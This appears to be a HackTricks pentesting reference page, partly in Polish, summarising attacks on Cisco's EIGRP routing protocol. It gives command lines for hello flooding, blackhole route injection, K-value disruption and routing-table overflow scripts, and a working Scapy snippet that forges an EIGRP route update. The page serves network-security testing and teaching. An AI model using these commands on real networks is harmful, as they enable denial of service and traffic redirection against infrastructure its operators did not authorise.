EIGRP Attacks

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

To jest podsumowanie ataków opisanych w https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9. Sprawdź tam więcej informacji.

Fake EIGRP Neighbors Attack

  • Objective: Przeciążyć CPU routerów przez zalewanie ich EIGRP hello packets, co może doprowadzić do ataku Denial of Service (DoS).
  • Tool: helloflooding.py script.
  • Execution:
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
  • Parameters:
  • --interface: Określa interfejs sieciowy, np. eth0.
  • --as: Definiuje numer autonomous system EIGRP, np. 1.
  • --subnet: Ustawia lokalizację podsieci, np. 10.10.100.0/24.

EIGRP Blackhole Attack

  • Objective: Zakłócić przepływ ruchu sieciowego poprzez wstrzyknięcie fałszywej trasy, prowadząc do blackhole, gdzie ruch jest kierowany do nieistniejącego celu.
  • Tool: routeinject.py script.
  • Execution:
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
  • Parameters:
  • --interface: Określa interfejs systemu atakującego.
  • --as: Definiuje numer AS EIGRP.
  • --src: Ustawia adres IP atakującego.
  • --dst: Ustawia IP podsieci celu.
  • --prefix: Definiuje maskę IP podsieci celu.

Abusing K-Values Attack

  • Objective: Wywołać ciągłe zakłócenia i ponowne nawiązywanie połączeń w domenie EIGRP przez wstrzyknięcie zmienionych K-values, skutkując w praktyce atakiem DoS.
  • Tool: relationshipnightmare.py script.
  • Execution:
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
  • Parameters:
  • --interface: Określa interfejs sieciowy.
  • --as: Definiuje numer AS EIGRP.
  • --src: Ustawia adres IP prawidłowego routera.

Routing Table Overflow Attack

  • Objective: Obciążyć CPU i RAM routera przez zalanie tablicy routingu wieloma fałszywymi trasami.
  • Tool: routingtableoverflow.py script.
  • Execution:
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
  • Parameters:
  • --interface: Określa interfejs sieciowy.
  • --as: Definiuje numer AS EIGRP.
  • --src: Ustawia adres IP atakującego.

Protocol Notes Useful for Attacks

  • HELLO packets carry K-values and neighbors only form when they match. To jest podstawa dla K-value mismatch/relationship disruption attacks i wyjaśnia, dlaczego niespójne K-values zapobiegają nawiązaniu adjacency.
  • The PARAMETER TLV (Type 0x0001) in HELLO (and initial UPDATE) carries K-values and Hold Time, więc pasywne przechwytywanie ujawnia dokładne wartości używane w segmencie.

Scapy Packet Crafting (Route Injection / Fake Neighbors)

Scapy ships an EIGRP contrib layer with TLVs like EIGRPParam and EIGRPIntRoute, which is enough to craft UPDATEs for route injection. Example adapted from the davidbombal/scapy EIGRP route injection script:

from scapy.all import *
load_contrib("eigrp")

sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))

To samo repo zawiera szybkie skrypty “fake neighbor”, które przechwytują prawdziwy pakiet EIGRP i odtwarzają go z podszytym adresem źródłowym, tworząc phantom neighbors (przydatne do obciążenia CPU/tablicy sąsiadów).

  • Dokumentacja Scapy EIGRP contrib: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
  • Przykładowe skrypty: https://github.com/davidbombal/scapy

Routopsy & NSE — narzędzia pomocnicze

  • Routopsy tworzy laboratorium ataku z wirtualnymi routerami (FRRouting + Scapy) i zawiera ataki DRP, które możesz dostosować do testów EIGRP. https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
  • Nmap’s NSE zawiera małą bibliotekę eigrp do parsowania/generowania podzbioru pakietów EIGRP. https://nmap.org/nsedoc/lib/eigrp.html

Rozpoznanie uwierzytelniania

  • EIGRP named mode obsługuje HMAC-SHA-256 authentication za pomocą authentication mode hmac-sha-256 .... Jeśli jest włączone, spreparowane pakiety muszą być uwierzytelnione prawidłowym kluczem; jeśli nie jest włączone, spoofing/injection jest łatwiejszy do przeprowadzenia i weryfikacji.

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks